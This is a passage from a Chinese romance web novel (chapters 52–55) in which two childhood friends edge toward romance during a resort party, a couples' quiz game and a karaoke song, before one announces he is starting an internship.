否则极大可能会重现凌晨那让她应对不来的氛围。 但大多时候, 虞千绾的感性都会越过理智,尤其面对商恪景的时候, 他们都不擅长向对方隐藏什么, 心里也委实是好奇想知晓的,如若不问透怕是心里会一直像有根羽毛轻轻痒痒挠着一般。 “我?” 虞千绾声音都轻了许多, 神情故作不懂的懵懂态装傻,以此掩饰着内心的讪讪, 眼睫眨动的速度却在无意识间加快, “……什么意思?” 商恪景缓缓收回了攥住她小臂的手抄回兜里,简单将他拒绝了薄正卿的邀请,薄正卿又向她提出邀请以她拿捏他的事转述给虞千绾听。 他没直白的点出这事与虞千绾之间的必然联系,反倒说:“怪我事先没问过你, 也怪薄正卿那人太鸡贼。” 不可否认, 知晓这一出的虞千绾是有些暗喜的。 但她努力抑着不在商恪景面前让唇角上翘的太明显,哦了声就没再提这茬,顺势偏过头不让他清楚看到她的表情, 朝热闹的派对区域行去。商恪景保持着半步的距离紧随在她身后。 那种无形的、黏稠又灼热的暗昧氛围又将他们包裹在其中,似有甜腻的棉花糖融化在空气中。 两个人都没看彼此,但眸光皆噙着笑, 神采奕奕- 率先发现虞千绾和商恪景到达并搭话的人叫涂钦衡,他们幼时关系不赖,可他初中还没读完就被家里人送去英国了,所以关系也就一天天淡了下去,虽然互相之间还会在某些聚会场上听到有关彼此的事,也偶尔会在群聊里聊几句,但肯定没幼时待在同个地方、学校那般密切了,不过心里还是有些怀旧的。 他为人热情,一瞧见两人就主动迎了过来,“哎呦喂,你俩可算来了。前两天就听说你俩要来,但昨天一直没碰见。好久没见,抱一个。” 男女有别,涂钦衡只抱了商恪景,同虞千绾则是笑着打了几句招呼。 三人边聊着边继续往前去。 涂钦衡看着这么多年仍然交好的旧友,不禁感慨,“你俩关系真是数十年如一日的好,这么多年了还形影不离的,跟我记忆里的样子好像没什么差别。” 虞千绾和商恪景对视眼,两人显然都清楚现在和当年全然不同了,但都默契不提,只跟涂钦衡聊些别的。 薄正卿这次聚会委实邀请了太多人,加之今日人差不多都到齐,派对现场热闹非凡,虞千绾和商恪景不仅家世最佳且平常还宅,总是神龙见首不见尾的,现下一进到聚会场中就成了焦点,不少人都凑过来搭话闲聊。 其中说的最多的还是有关他俩关系的话题,说他俩感情好的跟双胞胎似的,各种场合总是同进同出的。不过他们口中的感情显然并不一致,有人指的是友情,有人则是暗戳戳在表达爱情。 完全知晓了商恪景感情的虞千绾此刻分外敏锐,她可以准确判断出说话的人到底是想表达哪种感情,因为这两者间的差别非常大。 认为他们是友情的人说的很自然很坦荡,是在由衷艳羡这样的一段关系。而认为是爱情的,多了些细微的小动作,因为这么多年,他们对外都说是朋友,朋友们饶是不信但也不好明晃晃说什么,只能隐晦表达,再有意或无意的附赠上一个挤眼的小表情,抑或给同样不认为他们之间是单纯友情的朋友一个眼神寻求共鸣。 虞千绾以前并不觉得自己是个在感情上迟钝的人,但在发现商恪景的喜欢时,她深深的感到过一次。现在看着圈子里看破不说破的朋友们的小动作,她又狠狠认知到一次。 她还记得往昔,他们尚没反复声明只是朋友的时候,大家经常会揶揄他们。 主要原因还是出在商恪景身上,他生了双看什么都深情的桃花眼,性格又不是那种冷峻的,不羁还有些臭屁的姿态在初高中的时候尤其受女生欢迎,那会儿不少朋友都会受同班同学之托给商恪景转送封情书。 可熟悉商恪景的人哪个不知道他只是看着渣帅实则仅对虞千绾特殊,被托帮忙的人都知道那情书给不给都无所谓,反正商恪景都不会在意的,给出去无非是全暗恋者的一片心。 商恪景好几次被人偷拍到照片发到学校贴吧上,身上背着的都是虞千绾的书包。 朋友们遇到他,十次里有八次,他身边的人都是虞千绾,如果不是虞千绾,那就肯定是个男性,总之他不会跟旁的异性走那么近。 能让他主动巴巴去找的,也只有虞千绾。 而对朋友们送来的那些情书,或是转告来的话,他都当做没看到、没听到,反倒是对给虞千绾送情书的人很好奇。 他总是偏心的明显,朋友们便调笑他,说他只对虞千绾好,完全不顾他们死活。 那些年,诸如此类的话不知多有少,虞千绾也面临着同样的处境。 但她实在太澄澈太没那心思,有心人都能看出来是商恪景喜欢的更甚,于是大多试探的真心话都被朋友们以打趣的腔调向商恪景而非虞千绾问出。 现在回想,虞千绾其实也有些糊涂,因为她不知道商恪景究竟是什么时候喜欢上她的。 所以她辨别不清当年的他到底哪一句是单纯的,哪一句是在借着玩笑话说真心。 她印象最深的是,高考完的那年。 商恪景突然靠过来抵了抵她的肩膀,语调微挑,似有几分嘚瑟之意,“听到没?人家都说我对你好呢,你也得对我再好些。” 彼时的虞千绾正在做什么呢,她在等常桦的消息…… 她压根没听到他们在聊什么,只当商恪景在欠欠的找揍,冷飕飕丢给他无语一眼就继续关注着微信了。 商恪景对此作何反应,虞千绾已然完全没有记忆了。 因为常桦那会儿刚好回了她的消息,她的注意力被彻底吸引走,只顾着跟他聊天,没有再看商恪景。 这种延后多年忽然浮现在脑海里的记忆让虞千绾心绪不自觉复杂,她忍不住的去想商恪景当年的难捱,想他亲眼看着她喜欢常桦的这么多年,揣度他的心路历程…… 觉察到虞千绾的异样目光,商恪景从聊天局里退出,垂首询问:“怎么了?这么看着我。” 虞千绾摇了摇头。 商恪景哼笑声,“虞千绾,你跟我还伪装什么?这种时候说没事真的很假。” 虞千绾莫名也笑了声,“我没想伪装,只是不知道从哪说起。” “那就慢慢说呗,我又不急。” 商恪景身形微微后仰,双手都撑在草地上,“时间多着呢,半个小时说不完就一个小时,一个小时不行就两个小时,今天不行就明天。” “三四年的时间算长还是短?” “如果像这两日天天都在见面的话,很短,还没感觉到一天就过去了。” 应该是想象了一下这样的日子,商恪景笑容深刻了几分。 虞千绾也笑,但笑得很浅。 她的眼下卧蚕因笑的弧度变得明显,可双眼里却没丁点笑意,“那——我喜欢常桦的那四年呢?” 显然没料到虞千绾会突然提这个,商恪景笑容一顿,整个身子都变得僵硬,完全没有刚刚的松弛。 他坐直了些身子,调整好状态,依旧带着笑回:“怎么突然想到这个?” “少问。” 虞千绾看出他的避重就轻,抬手就在他肩膀轻打了下,有些霸道地说:“你只需要回答我的问题,长还是短?” 商恪景低头,唇角带笑的弧度保持了几秒,缓缓收敛。 他再度看向虞千绾时,笑容已经基本没了,眼眸变得那样的深邃那样的怅然。 “长。” 他说:“……要命的长。” 站在虞千绾的角度,她当初的行为肯定没有任何的问题,她只是喜欢上了一个人而已,无论后续结果如何,那是她的必经课题。 而商恪景的喜欢,是他的课题。 当时的他们都在为了自己的喜欢而努力。 但现在,不得不承认的是,她心疼他,非常。 草坪上的大家都是一窝一窝的,有在一起唱歌的,有随着音乐跳舞的,还有聊天的。 虞千绾和商恪景这片在一起聊天的人是最多的,但也正因为多,他们俩在边缘独自聊天也没什么人发觉。 两人就这么沉默着,神情复杂地望了对方半分钟。 虞千绾才动了动唇,道:“……嗯,知道了。” 商恪景凝她几秒,似是没辙了的气笑声,“就知道了?还以为特意问我这个准备加倍对我好呢。” 他又在以一种开玩笑的不让她感觉到压力的话表露自己奢侈的贪恋。 虞千绾听出,脑袋歪了歪,直勾勾瞧他,“为什么要加倍?我们的时间不是还多着吗?别说四年,四十年都不止。” 比直白的情话不知道暧昧好听多少倍…… 商恪景喉头一紧,这时候的他反倒不笑了,忽朝着虞千绾伸出小拇指,“拉钩。” 虞千绾不假思索伸出小拇指,勾住他的。 以拇指盖章的时候,两人眉眼间同步裹上些欢愉。 他们谁都没直白说出,但就是心里头明白,之间的距离又近了。 第53章 第 53 章 她在他的皮肤上留下了一…… 一旁刚结束个聊天局拿着酒杯来找虞千绾和商恪景的薄正卿恰好瞧见这幕, 瞬间露出姨母笑的他停住脚步,识趣没再靠近打扰,但又按捺不住好奇后续的心,于是远远张望着。 结果那两人拉完钩以后就没再有什么肢体触碰了, 开始吃吃喝喝聊聊的, 仿佛又回到了朋友模式。 关注着的薄正卿大失所望, 逐渐皱起眉头, 恨铁不成钢的在心里头腹诽商恪景, 都能领证结婚的年纪了,怎么跟喜欢的女生在一块还跟未成年似的?以他们这速度得多久才能谈上恋爱? 他光是看着都急。 再这么墨迹下去, 等到虞千绾身边又出现个有好感的异性, 商恪景岂不是又没戏了? 抿了半口酒液,很替商恪景着急的薄正卿从兜里掏出了小蓝的钥匙套在食指上转了几圈, 心想就算是为了多拥有几天小蓝,他也得帮帮商恪景才行。 暗暗头脑风暴了一阵, 薄正卿蹙着的眉忽然舒展开, 爽朗笑了声,仰头将杯中剩余的酒水全部喝下,空杯随手放在一旁,心情很好的哼着小曲向那一窝人靠近。 毕竟是攒局的人, 派对的主人。 薄正卿一过来, 大家都主动和其打招呼,夸赞度假山庄很舒适好玩,以后有空肯定还会过来。薄正卿笑着应下, 大方说如若他们来都给折扣。 这种情形下,太熟的人反倒话少,因为无需过多客气。 虞千绾和商恪景就没如旁人那般接踵去和薄正卿客套几句, 反倒用一种趣狭的“他今天还挺人模狗样”的眼神瞧薄正卿,或低语着调笑他几句。 打完招呼后,揣着些小心思的薄正卿就开始铺垫。 他同大家说自己准备了些小活动,有意向的可以一起来玩玩。 这很薄正卿的风格,他每次在聚会场里都是鬼点子最多的那个,谁都没怀疑,感兴趣的人纷纷起身往他说的地点集合。 虞千绾和商恪景本没打算去的,两个人跟厨师点了餐,正等着厨师做好第一时间拿来吃呢。 但薄正卿主动过来拉两人,还特意叮嘱厨师做好以后送过来给他们,他们拗不过,只能跟着薄正卿去参加集体活动。 一番烘托氛围的前奏之后,薄正卿步入正题。 说今天的小游戏是默契大挑战,大家两两组队,现场转瓶子,转到谁谁出题,拢共五题,谁答对的多谁获胜,如果有人平局就再战,直到比出第一名为止。薄正卿给前五名的队伍都准备了礼物,也给不组队但题出得好的人留了不少名额,但奖品自然没有组队的人丰厚。 虞千绾和商恪景自然还是不打算参与,他俩只适合做吃瓜群众。 但薄正卿又来了,对着他俩双手合十疯狂拜托,“求你们了,现在没多少人参加,你俩给我捧捧场嘛,不然我很尴尬的!” 商恪景压根不信薄正卿这番鬼话,现场这么多人,分明挺热闹的,哪就差他们俩这一组了,他更倾向于是薄正卿想看他俩笑话。 刚欲拒绝,虞千绾却先一步应下了,“行啊。” 薄正卿一喜,高兴地拍了个掌,“好!还是千绾你给面子!” 商恪景一怔,没想到虞千绾会答应。 “但我有个条件。” 虞千绾双手环胸看着薄正卿,“你答应的话我跟商恪景就组队参加。” 商恪景无声闷笑,心想果不其然。 但更为好奇地看着虞千绾,等着她的后续,想知道她是为了什么要加入这个本无意参加的小游戏。 薄正卿:“什么?” “你得提前半周时间把小蓝还给商恪景。” “哎呦喂。”薄正卿表情骤然失控,顿感自己这只单身狗被切实虐到了,他再顾不得什么该说什么不该说了,吐槽话顺口就出,“虞千绾你居然也是这么重色轻友的一个人啊?帮我件事还替他讨要东西?你这太不公平了啊,我也是你的发小,不能厚此薄彼。” 商恪景表情也有顷刻的愣住,眉眼和唇瓣跟着就难压的弯起,整张脸都荡漾起春波,双眼一眨不眨地盯着虞千绾侧脸,带着痴迷。 面对薄正卿的控诉,虞千绾不觉有甚,“反正你要是想我们组队,你就答应,不答应你就别在这纠缠我们了。” 如若他答应,商恪景的小蓝就能早点回来,他不答应,她也不亏,虞千绾觉得这就是个稳赚不赔的买卖。 见虞千绾这说不动,薄正卿扭头就试图去劝商恪景,“商恪景,你自己答应我的,好歹说句话啊,哪有中途给小蓝要回去的道理?” “我没有办法。” 商恪景耸了耸肩,状似一脸为难,实则嘴角都要笑烂,“我没有话语权,都听她的。” 拿到绝对主导权的虞千绾更为任性地扬了扬眉。 薄正卿一噎,险些被这俩重色轻友的货气到内伤。 他想和商恪景使眼色,想跟商恪景表达他这是在帮他!但商恪景不知道什么时候收回了眼神,就在那跟个痴汉娇夫似的盯着虞千绾,全然不看他一眼,似是很享受虞千绾帮他出头的滋味。 薄正卿真想拍拍屁股走人,但又自己在心里头劝自己说商恪景不知道自己的计划才如此的,而且你还不知道他之前暗恋虞千绾的时候多苦吗?现在好不容易有些机会了,可不得帮衬帮衬?跟他这个恋爱脑计较什么呢?等到事后说清楚,他肯定要很感激自己的,肯定会把小蓝多借给自己一段时间。 他现在,只需要当着虞千绾的面应下,背地里再去和商恪景说清楚,这样三方都开心。 于是—— 劝好了自己的薄正卿虽然还有些憋屈,但还是点头应下,“行行行,那就说好了啊,你俩组队。” 得逞的虞千绾转头就看向商恪景,下巴都高兴地抬着,就好像在无声跟商恪景说“你看吧,我厉害吧?给你小蓝早些弄回来了。” 一直在笑的商恪景更是眼睛都快要笑眯成一条缝,朝着她竖起大拇指。 薄正卿突然感觉自己很多此一举,他俩之间的相处状态已经和他记忆里的不太一样了,似乎也没有很需要他的助攻,但事已至此,多一点有趣的共同回忆也是好的。 组队加入游戏或只打算提问的大家在草坪上围了个大圈坐着,薄正卿充当起了主持人的角色,随着他的吆喝,一位性格同样外向阳光的男生率先举手表示自己跟同伴第一组上。 其余人鼓掌为其加油,还有人起哄的吹着口哨热场。 两个男生起身,在欢呼声里站到了一群人围坐的大圈中间背对背站着,手上各拿着一个白板和黑笔。 这俩人是堂兄弟,叫卫潘、卫梁。 怕有人还不懂怎么玩,薄正卿做了个示范。 “卫梁最喜欢的颜色是什么?” 两人同时下笔,默契写下一个黑字。 薄正卿见两人写好,再让其举起手中的白板方便坐着的大家看,这时候他们也能去看对方的答案。 答案一致,则得一分,不一致则不得分。 在场人都明白了玩法,薄正卿就没再提问,将提问权交由瓶口转到的对象让大家都能玩玩,他就默默担任cue流程的角色。 一开始,大家都玩得比较收敛,只问些“喜欢的花”“生日”“最爱看的电影”这类纯考验默契的问题。 但渐渐的,题目尺度开始大起来,尤其在瓶口转到的对象还同圈内正在接受挑战的两个人关系不错时就更敢问了,“xx前任是谁?”“xx上一次因为异性哭是哪个异性?”“xx最讨厌的人是谁?” 在这种范围下,大家都变得逐渐敢问起来。 甚至都在彼此间交头接耳,询问对方有没有想到什么好问题。 虞千绾和商恪景感到氛围不对,只觉越拖延越容易被问出狠问题,于是俩人简单商量后就赶忙在圈内那组结束的时候举起手。 如果抛去惹人注目的家世和外貌,他俩在聚会场里的存在感其实挺低的,因为他们并不太喜欢凑热闹,就喜欢找个舒服的地方窝着进入单独对聊的状态。 所以在场人都没想到他俩今天会参加这个游戏,看到他俩起身的时候停止了好些轮的鼓掌声都重新响了起来,其中还伴随着些不同情绪的话语声—— “我去,你们俩上来岂不是直接终结比赛了?” “啊……本来还以为能卡个第五呢,这下没戏了。” “快快快,想些有难度的题!他俩太了解对方了。” “好想问感情啊……能不能问?” 经历太多轮游戏都快要变成工具人的薄正卿也瞬间满血复活,他冲着转瓶子的人使了个眼色,那人不动声色回以小幅度颔首。 虞千绾和商恪景按照规则各自拿起一块白板,背靠背站着,周围的一些声音自然也落到了他们耳朵里。 “突然有点紧张。” 虞千绾攥着笔的手不自觉用力,“大家都觉得我们会全对,这要是回答不上来就很尴尬了……” 商恪景倒是笑了声,“比起尴尬,更要命的可能是秋后算账。” 虞千绾突然就没那么紧张了,反倒朝他警告似的挥了挥拳头,只不过唇角带笑,“那你可得小心了。” 可商恪景若真是答错了什么基础题,虞千绾怕是就一点都笑不出来了。 他俩都不是大度的人,在感情里很是小气,如若在自己记得对方的方面对方却不记得自己的,那怕是会很不是滋味的念叨对方很久很久很久。 “我还是挺有信心的,但你要是没回答上来,我可是会跟你闹的。” 商恪景提前给虞千绾打预防针,虽说他们现在关系和之前不同,但即便是作为朋友,某些题也不能错。 “我才不会,除非你瞒了我一些事。” 虞千绾自诩记忆力很好,她可是能在吵架的时候精准翻找到曾经的聊天记录对峙的人。 两人都在对对方的了解程度这方面很是自信。 很快,薄正卿举着话筒,语调昂扬着开始第一次提问。 被瓶口转到的是个温婉和善的女生,她并不想去窥探别人隐私,虽然问出的是个纯靠了解才知的问题,但难度委实不低,“你们俩的身高是多少厘米?精确到小数点后一位。” 虞千绾清楚知道商恪景一米八八,但小数点后一位…… 她抬眼思忖了须臾,有些犹豫的写下一个3。 成年后不再明显长个子,他们基本就没聊过这个话题了,聊也不会还想着精确到毫米。她对此的记忆还停留在大一时,他们一块去做体检,最终的体检单上有写着具体的身高,3mm的数据就是从这来的。 可三年过去了,虞千绾不确定还准不准。 他应该,没再长个子了吧……? 虞千绾只能默默这么在心里头祈祷。 想到自己刚刚的豪言壮志,虞千绾突然很慌。 幸而,她看向商恪景白板的时候,上面也写着188.3,她瞬间松了口气,反倒朝他傲娇哼了声,“算你这局过关,没给我写错。” 商恪景也不知看没看出,鼻息间漾出声很轻的笑。 第二个问题是,“你们最近有没有因为对方哭过。” 两人这次很快落笔,写了【有】 看到这个答案的大家语调不一的“哦~”了声,现场氛围产生了些微妙的变化,有些人开始蠢蠢欲动起来。 第三个问题相较于第二个问题又再递进了些,“在商恪景眼里,恋人和挚友谁更重要?” 虽然问题如此,但大家都清楚,那挚友代表的就是虞千绾,哪里是单纯的好友。 如果在从前听到这个问题,虞千绾可能会画个等号,或是恋人大于等于挚友,商恪景则会为了不让她误会写下挚友大于恋人。 但现在,这两个身份她都挺有代入感,她又很了解商恪景当下的心境和感情。 于是基本没怎么思考,她就写下了恋人。 商恪景的白板上亦然。 三分拿下,只剩最后两个问题。 薄正卿再开口的时候状似不经意轻咳了一声再cue流程,这一次,瓶口正对着他。 “哎呀!” 薄正卿浮夸的演了下,好像很惊讶,“这么巧,那第四个问题就让我来问吧!” 虞千绾和商恪景虽然没有看破薄正卿使得那些小伎俩,但他俩知晓薄正卿肯定不会问些轻易回答的问题。 果不其然,薄正卿问:“商恪景有没有喜欢的人?” 这个问题的答案很简单,虞千绾听完就落了笔,但就在笔头触到白板的时候,她忽然一阵面热。 从前,不少人看出来商恪景喜欢她,所以暗戳戳或直白来问她些话,没有觉察到的她全都帮着商恪景解释了回去。而今……她写下【有】岂不是代表她已经知道商恪景对她的喜欢了,那也就代表,商恪景其实跟她表白过了…… 薄正卿就是故意想把这层关系挑到明面上,让大家都知道现在的他们和以往不一样了。 虞千绾并不排斥让周围的朋友知道这事,但就是觉得曾经的自己有些脸疼。 那些年里的她可真是对商恪景的喜欢一点觉察都没有,甚至数不清替他向别人认认真真解释过多少遍…… 再举起白板的时候,不仅是两个【有】字暴露在大家的视野中,还有虞千绾微微泛起些红晕的脸颊,一切尽在不言中。 现场起哄声骤起,持续良久才被薄正卿装模作样的压下。 最后一个问题更是将氛围拉到高潮——“你们现在还是单纯的朋友关系吗?” 写完答案举起白板时,虞千绾已经抬不起头了,脸颊爆火,就连商恪景都红了耳根,只不过商恪景是先瞧了眼虞千绾,见她不对此反感才耳根更红的。 他们的答案依旧默契——【不是】 五题全对,但他们还不是第一,因为前面也有人全对,还需等到全部的组参加完游戏再进行二次比拼,虞千绾却完全没那心思,她现在就是后悔,非常后悔,她就不应该答应薄正卿的要求! 这感受在她重新落座,接受到朋友们挤眉弄眼的表情时格外强烈,尤其其中有些朋友跟徐盼雁一样,真的相信她和商恪景只是朋友,此刻见她改口叛变,几乎是控诉地问她:“千绾!!你忘了你当年是怎么跟我说的了吗?!” 她记得,她当然记得。 所以她羞臊得要命,但实在说来话长,又很难现场和朋友说清楚,只能找了个理由就逃离了现场,否则她的脸都要红得滴血了。 虞千绾一路快走加小跑,可算是躲到了一条无人小径上,她左右瞧了好几眼,确定没人才坐到长椅上。 晚上的风很冷,但刮过她的皮肤都好像变得热乎起来。 虞千绾用两手手背贴在自己的脸颊上感受了下滚烫的温度,越感受,温度反倒更高,根本降不下来。 她不自觉将脑袋垂下,抵在膝上,脑袋昏昏涨涨的,她都不知道自己在想什么,但就是难为情,很难为情。 还没清净半分钟,有脚步声由远及近。 虞千绾当即坐起身,努力佯装自如地看过去,但看清来人的那瞬,她彻底不装了,直接嗔了一眼过去。 接受到这眼神的商恪景笑着行近,明知故问:“不是说要去洗手间?怎么一个人坐在这?” 虞千绾不回答,依旧嗔他。 虽然这事怪不着他,但并不妨碍他依旧得承受她的情绪。 靠近虞千绾的时候,商恪景步伐逐渐放缓,最终站定在她身侧。 他微微躬身,温热干燥的掌心迎着她的视线径直落在她的发顶揉了揉,眼神温柔的不像话。 在这样的眼神下,虞千绾的嗔意里更多了些娇。 她没有避开商恪景的触碰,任由风将他的气息卷入她的鼻腔里。 视线上下交视须臾,商恪景眷念这份温情,没舍得将手从她发顶拿下,他只是将身形弯得更甚,眼睛几乎与她平视,笑问:“你知道我有喜欢的人啊?谁啊?” “商恪景!” 见他还在逗她说这些话,虞千绾就跟炸了毛的猫,一把抓下商恪景的手,张嘴就在他腕间咬了口。 他不躲,反倒在虞千绾松口的时候还将手她唇边送了送,悠悠语调听着有些欠揍,“在呢。” 虞千绾真想把他手咬烂,他就是仗着她没用力咬他才这么放荡,她最挨不住激,刚欲真的咬疼商恪景一次让他长长记性。 但再度张开嘴时跟着下垂扫过他手面的视线这才注意到——刚刚咬他时,她的口红印在了他的皮肤上,留下了一枚唇印。 第54章 第 54 章 只对你有感觉 因为是晚上, 光线比之白日肯定要暗些,所以虞千绾出门前化妆时特意挑了支比常用色号再红一些的口红,此刻出现在一身冷色调穿着的商恪景手上也就更显鲜艳。 情绪上头咬住商恪景手侧的时候,虞千绾尚没意识到这个动作于现在的他们而言其实是有些暧昧的, 再度启唇准备咬上的她看到了半枚上唇唇印时才陡然意识到。 视线稍侧, 下压, 还能看到位于拇指根下靠近掌心位置的下嘴唇唇印, 她立刻将唇瓣抿得紧紧的。 “怎么不咬了?” 商恪景看起来还挺期待的, 他唇角始终挂着抹笑,但此刻落在虞千绾眼里只觉得蔫坏蔫坏的, 他向她伸来了另只手, “咬这只吧,弄个对称的。” 虞千绾瞪他一眼, 直接抬手朝他手背上重重拍了一巴掌。 她这次的眼神和前面略有不同,再逗怕是真要恼了, 商恪景立即在这眼神下做了个在嘴巴前拉拉链的姿势不说了。 但他手一动, 虞千绾视线很容易就被依旧完整留在他手肤上的唇印吸引。 他倒是坦荡,似乎并没有擦拭的意思。 脸皮越来越厚了…… 虞千绾感觉自己如果不提,他会一直这么让口红印留在手上,她只能装严肃的硬邦邦丢下“擦掉”两个字, 然后别过脸直视前方不瞧他。 “没东西擦。” 虞千绾气笑了, 一个看穿的眼神幽幽扫向商恪景的裤兜,“商恪景你在跟我装什么?你口袋里没纸?” 他从小就有随身带纸的习惯,因为女装的口袋大多比较浅, 穿裙装时更是压根没有口袋,只有特意背包的时候才方便装着,于是商恪景就承担起了日常带纸的任务。虞千绾每次在外需要用纸都会找他要, 几乎是次次要次次有,十几年如此,所以现在他说没有,虞千绾是万万不信的。 商恪景表情有一瞬的没绷住,动了动唇刚欲说什么。 虞千绾不给他诡辩的机会,直接倾身伸手在他裤兜的位置戳了下,即便隔着裤料,但也可以很明显感觉到里面有软绵的纸巾,指尖微微用力按压时还能听到细微的纸巾包装袋的窸窣声响。 事实清晰明了,压根无需再说什么,虞千绾撤回身子,警告地朝他抬了抬下颚,意思很明显——“你别再废话,快点擦。” 既感怀于他们彼此了解程度又无奈不得不顺从的商恪景心情复杂的笑了声,边低头从兜里拿出纸边道:“第一次这样强烈的感觉到追求太熟的女生的弊端。” 虽然虞千绾已经知晓了商恪景的喜欢,也在允许着他平常的靠近,但他们之间似乎达成了某种默契,并不会直白的将近乎表白的字眼挂在嘴边,而是以一种相对来说比较舒服的状态接触着。 所以忽然听到商恪景说“追求”这两个字,虞千绾还挺不适应,可又要面子的不想表现出来,于是借由监督态的“没擦干净”压过去。 两人在长椅上坐了一刻钟的时间,氛围虽然还是缱绻的,但没有那么浓烈了,不会再让虞千绾感到明显的面热,身周卷过的风也早变成了冷冰冰的温度,意识到再这么单独待下去,回去以后怕是会接受到更多朋友的盘问,虞千绾便主动起身提出回去。 不过就算这会儿回去,最基本的问询也躲不过。 虞千绾还没踩上草坪,只是身形从道路那头出现就感觉到很多抹朋友‘虎视眈眈’的眼神,甚至还有关系较近的朋友直接起身组团向她迎了过来然后把她半架半拉的带到了一旁细聊。 商恪景自也不例外,很快亦被一群人围住。 就这么,两人几乎到派对快要结束才重新碰到一块。 不过不是之间的距离,而是眼神。 结束了和好友们汇报的虞千绾还没坐回草坪上就和商恪景对上了眼神,他正在点歌台那边,本来应该是在跟谁聊天的,看她回来后眼眸里多噙上了些笑。 很简短也颇为遥远的一个对视,除了他们外,旁人都没觉察到。 坐到草坪上的虞千绾又开始了一边吃东西一边和朋友们的闲聊时光,忽然,正放着的一首歌被人中途切掉,换成了另首歌。 这种情形实在常见,估计是有谁想放自己爱听的歌或者打算唱几句,派对进行到现在,大家对周围的声响都弱化了很多,大多注意力都放在自己面前。 虞千绾也是其中一员,沉浸在自己原本的玩闹中,直到音响中传出一道熟悉的男声,她近乎本能地停止了正在说的话倏地侧首循声望去。 持着话筒的人果然是商恪景。 他正在看着她的方向唱歌,虞千绾一看向他,他们的视线就立刻碰在了一块,那种难言的酥麻旖旎感霎时漫开。 但应该是怕大家起哄,所以在觉察到还有旁人看向他时,商恪景就错开了视线没再和虞千绾对视,状似自己只是在正常唱歌。 虞千绾很快也收回了视线。 但耳朵分外仔细地听着他的歌声。 当然,她的这个小动作没逃过面前几个朋友的眼睛,又是挤眉弄眼又是抵肩的揶揄了几句。 商恪景挑的这首歌是首男女合唱情歌,但他只有一个人在唱,所以轮到女声的部分就停下,只唱男声和男女声一起唱的部分。 轻快有活力的曲调听的人心情不自觉都跟着好起来,虞千绾默默跟着轻哼,像在填充着这首歌里缺失的女声。 “微笑再美再甜不是你的都不特别。” …… “玩的再疯再野你瞪一眼我就收敛。” 不知道是歌词太浪漫还是陷入暧昧期的心境与其过度贴合,又或许因为这是从商恪景口中唱出的,总之虞千绾听着总想笑,心里头冒着粉红泡泡,还会忍不住的想,商恪景是不是故意挑这首歌的?就想借着其中的某些歌词向她隐晦表达。 她一边暗暗觉得自己自恋,他只是唱首歌而已,她怎么就延伸了这么多?一边又觉得就是这样,毕竟他可不是个爱在这么多人面前主动唱歌的性子。 但她不知道这首歌的歌名就是最直白的表述——《只对你有感觉》 派对在一片欢笑声里落下帷幕,但这次朋友局一共就三天两夜,而草坪派对结束时已经过了零点,也就意味着,今天就是最后一天了,依着大家晚上不睡白天不醒的状态,估计睡一觉起来就得收拾行李准备离开了。 虞千绾顿觉时间太快了,度假山庄又很大,她还没逛完呢。 薄正卿知晓她这念头立即豪迈说随便她和商恪景在这玩多久,他们关系多好啊,他乐意包了他俩在这玩的花销,他们想玩多久玩多久。 虞千绾和商恪景从草坪回酒店的途中还在同他讲自己听到薄正卿那话时突然挺不好意思的,他这么大方,这么拿他们当挚友,她还一张口就找他要回小蓝,对比起来显得她很小气很计较。 于是她思考着下次有什么合适的东西回送薄正卿一份。 殊不知薄正卿已经在私信轰炸商恪景狮子大开口了。 【商恪景!今天千绾那话肯定不能当真的吧?小蓝我不会提前半周给你还回去的啊,我那都是为了帮你,没理由找我要的。】 【而且,你还得多在原本的基础上再多借我玩两周。】 【一周是温泉池的奖励,我可是知道千绾不喜欢玫瑰花,特意让人把她安排在那间房的,要你一周小蓝都算便宜你了!】 【还有一周是今晚的助攻啊。】 【就这么说好了!】 换做平常,商恪景绝对不会认下这血亏的买卖,但此刻只是看着虞千绾叭叭说话的模样,他都觉得很值,是一种日常的舒服的温馨感。 两人就这么在度假山庄多住了三天,但这三天拓展的新地点只有一点点,和想象中的逛遍度假山庄所有地点完全不同。没有了集体活动的他们完全就是换了个地方躺平,基本一天到晚都窝在房间里。 不过和前些天在家的状态略有不同,商恪景每天都主动来虞千绾的房间找她,躺在她房间的沙发上。 他们仿佛又回到了没捅破感情的时候,除了睡觉外的时间都待在同一空间内宅着。 准备离开度假山庄回家的前一天,虞千绾和商恪景特意让工作人员帮他们联系好大厨,让大厨在他们临走这天给他们做顿大餐,吃饱喝足才美美离开- 约莫一周的时间没回来,进到小区乘着电梯上楼的时候,虞千绾感到格外的松泛。 虽然度假山庄各项设施都很好,也有很专业的工作人员照顾着,但在舒适和自在这方面抵不过久住的家,就如那句俗话所说——“金窝银窝不如自己的狗窝。” 商恪景一手一个行李箱,在路过自家的时候,他直接就把自己的行李箱放在了自家门前,属于虞千绾的行李箱则被他提着跟随着她的步伐送到她家里,没让她出丁点力。 虞千绾已经光速换了拖鞋扑到了沙发上趴着,脸压在软乎的玩偶上,眼睛半睁半合。 商恪景放下行李后在原地摩挲了几下手指,思忖须臾才轻唤了她声,“千绾。” 正在放空模式的虞千绾懒散“嗯?”了声,掀眸看他。 “我明天就要去永誉实习了。” “啊?” 这话如同平地一声雷,完全没有预料,虞千绾一怔,反应几秒,缓缓地懵然地在沙发上跪坐起身看着不远处的商恪景,有些怀疑自己耳朵地复问:“什么?” 跟着下意识想,“是知珩哥或者叔叔阿姨他们知道我们没课了所以催你了吗?” “不是,是我自己主动跟我哥提的。” 商恪景自觉将事情大致和她报备了一通,“在我预想里应该再迟两天才正式去永誉的,但我哥说明天永誉有场重要会议要开,到时候会去不少叔叔伯伯,让我一起去打个招呼,然后就开始跟项目一点一点学习了。现在还不清楚具体的时间安排,但应该也不会很忙,我知道工作时间以后第一时间告诉你,不过肯定不能像现在这样天天待在这了,你有任何事直接给我发消息,上班归上班,摸鱼归摸鱼。还有,你有什么想吃的都可以发给我,我下班正好可以给你带回来。” 后面那番话,商恪景是笑着说的。 不知道他内心真正的喜悦有几分,虞千绾总归是丁点都没有,只知道在这些天里满到要溢出的心脏突然就空了大块。 作者有话说:注:“微笑再美再甜不是你的都不特别。” …… “玩的再疯再野你瞪一眼我就收敛。” ——《只对你有感觉》飞轮海/田馥甄 第55章 第 55 章 西装熟男 “好微妙的感觉, 这原来就是长大吗。” 虞千绾双臂交叠压在了沙发靠背上,下巴跟着压上去。 商恪景也靠在了玄关柜边噙笑看着她,“嗯?我还以为你会围着我转几圈反复查看。” “为什么?” 虞千绾虽然没太明白,但不自觉带上些笑看他。 “近距离看看我是不是被夺舍了。” 商恪景笑噱, 